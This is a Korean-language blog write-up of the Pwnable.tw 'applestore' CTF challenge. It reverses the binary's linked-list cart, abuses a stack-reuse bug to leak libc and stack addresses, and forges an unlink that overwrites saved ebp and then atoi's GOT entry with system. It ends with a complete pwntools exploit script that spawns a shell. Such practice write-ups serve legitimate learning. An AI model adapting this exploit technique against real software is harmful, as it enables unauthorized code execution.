Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] applestore(Write-up) 본문

Hack/Pwnable

[Pwnable.tw] applestore(Write-up)

CIDY 2023. 1. 2. 02:16

레전드 삽질이다. 역시 난 아직 한참 멀었다.

mitigation

 

?

 

메인은 간단하다. 메뉴 형식으로 된 문제인데, 핸들러가 메인임.

1. 매장 2. 카트 담기 3. 카트에서 뺴기 4. 카트 리스트 5. 체크아웃 6. 나가기로 구성되어 있음.

 

 

1번 메뉴부터 보자.

정말 applestore였구나ㅋㅋ 기종과 그에 따른 가격을 볼 수 있다.

 

2번(카트 담기)메뉴로 가면 뭘 살건지 묻는다. 만약 이상한 번호를 입력하면 idiot이라고 욕함 ㅋㅋ

 

create함수가 뭐냐면..

이렇게 생겼음. 카트 담니 빼니 했을때부터 예상은 했는데 malloc문제였음ㅋㅋ 매개변수 순서가 바뀐 것 같은데 이정도는 눈감아주자. (애초에 전달부터가 문자열이랑 int가 바뀌어있기는 함.) -> 잘못된게 아니었음........

 

0x10만큼 malloc한 주소를 v2[0], v2[1]는 문자열 주소(기종 이름)을 저장한다. v3 = v2니까 그냥 반환하는 v3을 기준으로 v3 = malloc주소, 그 안에는 4칸이 있는데 첫번째 칸은 기종 이름 주소, 두번째 칸은 아마 가격(반대인가? 인자 순서가 그지같아서 잘 모르겠다. 까봐야 할듯.) 그리고 세네 번째 칸은 0으로 되어있다. 

...^^ 코딩하는 입장에서는 유용한 함수같은데 해킹하는 입장에서는 새로운 함수를 만나고 메모리에 어떻게 올라가는지 이해하는 건 귀찮은 일이다. 그래도 좋은거 또 하나 알아감....ㅎㅎ

암튼 그럼 저기서 또 malloc해서 문자열 형태로 v2에 저장하는 것 같고, v3에 v2를 넣은 상태로 return한다.

 

이건 insert함수이다. 짧은데 왜 읽기 싫게 생겼지ㅋㅋ 암튼 cart에 앞서 반환한 주소를 insert하는 것 같다. 메모리에 정확히 어떻게 들어가있는지는 좀이따 직접 뜯어봐야 할듯. 약간 연결 리스트 느낌인데.. myCart배열에 없을 때 까지 돌린 다음에 없는 칸 찾아서 i[2]에 앞에서 제작한 값 넣고(malloc주소) 제작한 값의 마지막, 그러니까 [3]에 for문으로 찾은 i를 넣는다.

무슨 연결을 이렇게 그지같은 방식으로 해뒀지?? ㅅㅂㅋㅋㅋㅋ

이건 delete메뉴이다. item num을 입력받아 v3에 저장하고 같아질때까지 올린 뒤 같으면 if문으로 들어간다. 여기서는 범위 검사 안하네? ㅋㅋ 싶었는데 v2값이 있을때 동안 while은 도니 자체적으로 검사가 되나 싶기도 하고.. 암튼 앞서 insert에서 i = i[2]하며 빈곳찾아 계속 for문 돌렸던것처럼 여기도 while문 돌면서 v1 == v3될 때 까지 돌려서 청크 주소 찾는다. 아마 저 dword_804b070이 카트일듯. v2[2]이면 0적어둔건데..?뭐지 ㅋㅋ 그리고 v2[3]이면 i적어둔 그곳이다. 와 이거 좀 그지같은데? 암튼 카트에서 remove하는건 확실하니까 이때 연결을 어떻게 바꿔주는지는 좀 뜯어봐야 할 듯 하다.

 

 

다음 메뉴다.

소문자 y치면 카트를 쭉 출력해준다. insert에서와 마찬가지로 for문을 돌면서 찾는데,,, 여기서 아까 그게 어떻게 들어갔는지 확실히 알 수 있다. 인자 순서가 바뀐게 아니고 형변환을 좃같이 한게 맞았음 ㅋㅋ. i[0]에 상품명, i[1]에 상품가격 들어가있음. 그리고 v3에 가격 쭉 더해서 반환함. 그 반환값은 checkout메뉴에 쓰임.

 

 

이게 checkout메뉴임. 가격이 딱 7174에 맞아야 하는듯. 그럼 아이폰8 내줌.ㅋㅋㅋㅋㅋ이게뭐야ㅋㅋㅋㅋ 그리고 다음에 checkout하자고 하고 return시켜버림. 뭐지 ㅅㅂㅋㅋ

 

6번은 바로 ret하는 메뉴고..

 

코드는 여기까지다. 일단 pie가 없는건 매우 좋고. malloc을 쓰는데 partial releo? 면 got overwrite도 염두에 둘 수 있을듯. 근데 바이너리 자체에 쓸 만한 함수가 없으니까 일단 립씨릭 해야 함. 흠... 일단 메모리에 어떻게 적재되어 있는지부터 살펴봐야겠다.

 

 

일단 1, 2, 3을 add했다.

이게 첫 번째 청크인데 0x9945600은 그 다음 다음에 위치한 0x11짜리 청크를 가리키고 있다. 쟤는 asprintf때문에 생긴 문자열 보관용 청크인듯.

 

그다음에 아이폰6쁠이랑 아이패드 에어2도 잘 들어가있다. 

 

각 청크 내부 구조는 다음과 같다. 기종 문자열 주소 4바이트, 가격 4바이트, 다음 청크 포인터, 이전 청크 포인터(없으면 NULL) 이렇게 0x10바이트를 꽉꽉 채워 쓰는듯. 그래서 i[2]타고 for문을 돌았던 거였구나ㅋㅋ 이제 다 납득이 된다. 대충 이중 연결 리스트같은 구조임. 

그럼 이것도 다 납득이 됨. v4에 이후 청크, v5에 이전 청크 저장하고, v4가 존재하면 v4의 이전을 v5로 바꾸고(v5가 없으면 그대로 NULL), v5가 존재하면 v5의 이후를 v4로 바꿈(v4가 없으면 NULL). 딱 이중 연결 리스트랑 동일함. 

 

그리고 bss까보면 myCart는 가장 첫 청크만 저장하고 있음. 근데 삭제 루틴은 중간 청크랑 맨 끝 청크만 지원함. 여기서 문제가 발생할 줄 알았는데 첫 번째 청크의 이전 청크 주소칸에 bss영역 주소(myCart)가 담겨있어서 별 오류 없이 진행되는듯. 

 

일단 내가 직접적인 입력 내용을 줄 수는 없음 -> 그냥 add delete순서를 잘 조작해서 릭까지 가야 함. 그래도 다행인건 출력 메뉴가 별도로 있음. 개인적으로 fsop는 좀 싫어하는 편이라 다행이다 싶은 부분이고....

i[0]에 문자열 주소 말고 뭐 다른 걸 넣을 수 있으면 좋겠는데.. 근데 이게 delete가 free시키는 게 아니고 연결 리스트에서 빼기만 하는 거라 동적할당 느낌으로 해결하기도 뭣한 부분이 있다.

ㅋㅋ일단 솔직히 누가봐도 checkout메뉴가 제일 수상하게 생겼다. 그래서 7174를 맞추니까(계산하기 싫어서 뭐를 몇개 해야 7174되는지만 검색해봤다.) 아이폰 8을 얻었다. (8이면 언제적...) 

 

그럼 지역변수를 이중 연결 리스트 마지막에 추가해준다. 저거 스택 정리되면 어차피 이상한 값 들어갈 테니까 뭘 leak할 수 있지 않을까 생각했다. 그런데 릭이 문제가 아니라 SIGSEGV뜨면서 터진다 ㅅㅂ..

일단 next 자리에 스택이 들어가 있기는 하다.

 

이렇게 들어가 있는데, 0x15가 정상 구조체였으면 문자열 주소(기종 이름)가 들어가 있어야 하니 터지는거다. 아 근데 생각해보면 함수마다 스택 쌓이는 게 달라서 .. delete의 경우 저기 정상 주소가 들어가 있어서 유의미하지는 않지만 뭐가 출력되기는 한다. 그럼 스택 재활용을 잘 이용해서 저기 들어가는 값을 조작할수는 없을까? 

 

일단 v2는 ebp-0x20에 위치한다. 그리고 checkout함수가 종료되면 정리되면서 sp가 핸들러 스택으로 내려갈것임. 그 상태에서 새로운 함수 스택을 쌓을 때를 노려보는 아이디어를 떠올렸다.

이게 char buf인데 입력은 0x15만큼 받으니까, y입력주고 한 바이트 아무값이나 쓰고, 그 뒤에 got를 적으면 립씨릭을 할 수 있지 않을까? 애초에 char에 0x15만큼 읽어들이는게 취약점으로 쓰라고 있는듯. -> 이제 보니 모든 메뉴에 char-0x15가 있다. 이건 진짜 빼박.

 

 

이렇게 하면 릭이 가능하다. 뒤에 0덧붙여준거는 SIGSEGV방지를 위해서임(i[2]에 뭐가 있으면 거기를 참조하려다가 세폴떠서..)

 

이런식으로 스택 재활용을 하면 뭘 계속 덮을 수 있기는 하다. 이걸 어떻게 최종 익스로 연계해볼까 생각했는데, got overwrite가 가능하니까 malloc쪽으로 눈을 안 돌려도 된다.(사실 그쪽으로 눈 돌려도 free가 아예 없어서 답이 없긴 하다.)

 

흠 got overwrite를 하려면 일단 연결을 틀어야 한다. 그러려면 스택 재활용 이용해서 맨 뒤쪽의 next에 got주소 하나 적는다. 그럼 거기에 분명 다른 got로 연결이 생길거임. (이걸 인풋 한번에 해야함)그상태에서 delete에서 스택(27번)해제해주면 스택의 prev자리에 있는걸 got의 prev로 덮어씌울 수 있음.

 

일단 무슨 got를 덮을지부터 정하자. 원가젯 안쓰고 하려면 내 입력을 받는걸 덮어야 한다. 

atoi를 덮고 /bin/sh\x00를 주면 &돼서 binsh주소 별도로 계산안해도 되니 다 해결됨.

 

atoi는 여기있음. prev는 [3]니까 atoi는 __libc_start_main의 prev임. 그걸 우리는 system으로 덮고싶은거. 

그러니까 입력에 yy + stdout + 0 + __libc_start_main의 got + system 이렇게 적어서 delete로 보내면 됨.

 

근데 문제가 생겼다. __libc_start_main의 got를 27의 next에 넣어서 그 prev에 해당하는 atoi의 got가 27의 prev인 system으로 덮였다고 하자. 그런데 system이 27의 prev에 있기 때문에 system주소[2]에 next(__libc_start_main)을 넣으려고 하니 SIGSEGV가 뜬다. 아니 근데 overwrite하려면 prev next중 한쪽에는 무조건 립씨주소가 드가야 하니까 어떻게든 터질 수 밖에 없는 아이디어다. 아 ㅋㅋ

 

그럼 delete메뉴 말고 add를 이용해볼까 싶다. add할때 27의 prev를 조작해볼까 -> 그럼 27을 삭제하면 연결을 틀 수는 있는데 got overwrite를 일으키기는 힘듦. 아무리 생각해도 직접 참조해서 연결을 바꿔주는 delete메뉴밖에는 답이 없음.

 

근데 애초에 립씨영역은 거의 w권한이 없기 때문에 delete를 쓰면 터지는것도 맞음. 

 

이걸 어떻게 우회할 수 있을까? 

 

이게 진짜 많이 보는 방법인 동시에 쓰기 싫은 방법인데, 이거말고는 답이 없어 보임. 여기서 ebp를 조작하면 ebp-0x22에 쓰이니까 원하는곳에 쓸 수 있음. 그럼 ebp를 어떻게 조작하냐 -> 핸들러에서 호출되는 함수 돌아올 때 쓰면 됨. pop ebp하고 mov esp, ebp는 안하니까 스택 유지하고 딱 ebp만 조작 가능함. 근데 오버플로우는 안 터짐. 그리고 터진다해도 카나리땜에 그냥 못씀. -> 앞서 립씨-got 간에 overwrite하려고 했던것처럼 스택-got간에 overwrite해줘야 함. -> 스택 주소 릭 필요...

 

아 근데 생각해보면 립씨릭 -> 스택은 __environ으로 쉽게 가능함.

delete메뉴를 이용해 got-stack해서 ebp가 잘 덮인 걸 볼 수 있음. (사실 ebp - 0x22부터 write니까 atoi + 0x22로 덮어야 함.)

 

from pwn import *

def _list():
    p.sendafter(b"> ", b"1")
    
def add(num):
    p.sendafter(b"> ", b"2")
    p.sendafter(b"Device Number> ", str(num))
    
def delete(num):
    p.sendafter(b"> ", b"3")
    p.sendafter(b"Item Number> ", str(num))

def cart():
    p.sendafter(b"> ", b"4")
    p.sendafter(b"Let me check your cart. ok? (y/n) > ", b"y")
    
def checkout():
    p.sendafter(b"> ", b"5")
    p.sendafter(b"Let me check your cart. ok? (y/n) > ", b"y")

def _exit():
    p.sendafter(b"> ", b"6")
    
stdout = 0x0804b060
 
p = remote("chall.pwnable.tw", 10104)   
#p = process("./applestore")
e = ELF("./applestore")
#libc = e.libc
libc = ELF("./libc_32.so.6")

for i in range(6):
    add(1)
    
for i in range(20):
    add(2)

checkout()

#cart
p.sendafter(b"> ", b"4")
leak = b""
leak += b"yy"
leak += p32(stdout)
leak += p32(0x0)
leak += p32(0x0)
leak += p32(0x0)
p.sendafter(b"Let me check your cart. ok? (y/n) > ", leak)

p.recvuntil(b"27: ")
stdout = u32(p.recvuntil(b"\xf7"))
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
system = libc_base + libc.sym['system']
environ = libc_base + libc.sym['__environ']

#cart
p.sendafter(b"> ", b"4")
leak = b""
leak += b"yy"
leak += p32(environ)
leak += p32(0x0)
leak += p32(0x0)
leak += p32(0x0)
p.sendafter(b"Let me check your cart. ok? (y/n) > ", leak)

p.recvuntil(b"27: ")
stack = u32(p.recvuntil(b"\xff"))

#delete
atoi_got = 0x804b040
sfp = stack - 0x100
target = sfp - 0x10
print(hex(target))
for i in range(25):
    delete(1)
overwrite = b""
overwrite += b"2"
overwrite += b"\x00"
overwrite += p32(stdout)
overwrite += p32(0)
overwrite += p32(target)
overwrite += p32(atoi_got + 0x22) #writing start at ebp - 0x22

#delete
p.sendafter(b"> ", b"3")
p.sendafter(b"Item Number> ", overwrite)

#overwrite atoi with system
p.sendafter(b"> ", p32(system) + b";/bin/sh\x00")

p.interactive()

그렇게 하루종일 삽질해서 나온 코드이다. atoi의 got를 overwrite하는 동시에 바로 쉘을 땄다.

 

flag

 

여기서 배울점은 ebp조작을 염두에 두자는 점 정도가 되겠다. 처음에는 주어진 메뉴로 정당하게 할 수 있는 선 내에서 논리적 오류라든가, 꼬이는 부분을 찾아 익스하려고 했는데 립씨-got간 overwrite가 막히자 진짜 막막했었다. 결국 ebp를 조작까지 하게 됐는데.. 변수들은 대부분 ebp를 기준으로 조작되므로 어셈블리를 보고 항상 조작할 수 있는지를 염두에 둬야 할 것 같다. 생각해보면 이렇게까지 삽질해서 떠올릴 아이디어는 아니었는데 그냥 경험에서 오는 차이가 아닐까 생각한다.. 이렇게 오늘도 경험 + 1 적립..

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] Re-alloc(Write-up)  (1) 2023.01.04
[Pwnable.tw] Silver Bullet(Write-up)  (2) 2023.01.03
[Pwnable.tw] hacknote(Write-up)  (0) 2023.01.01
[Pwnable.tw] dubblesort(Write-up)  (0) 2023.01.01
[Pwnable.tw] orw(Write-up)  (0) 2022.12.31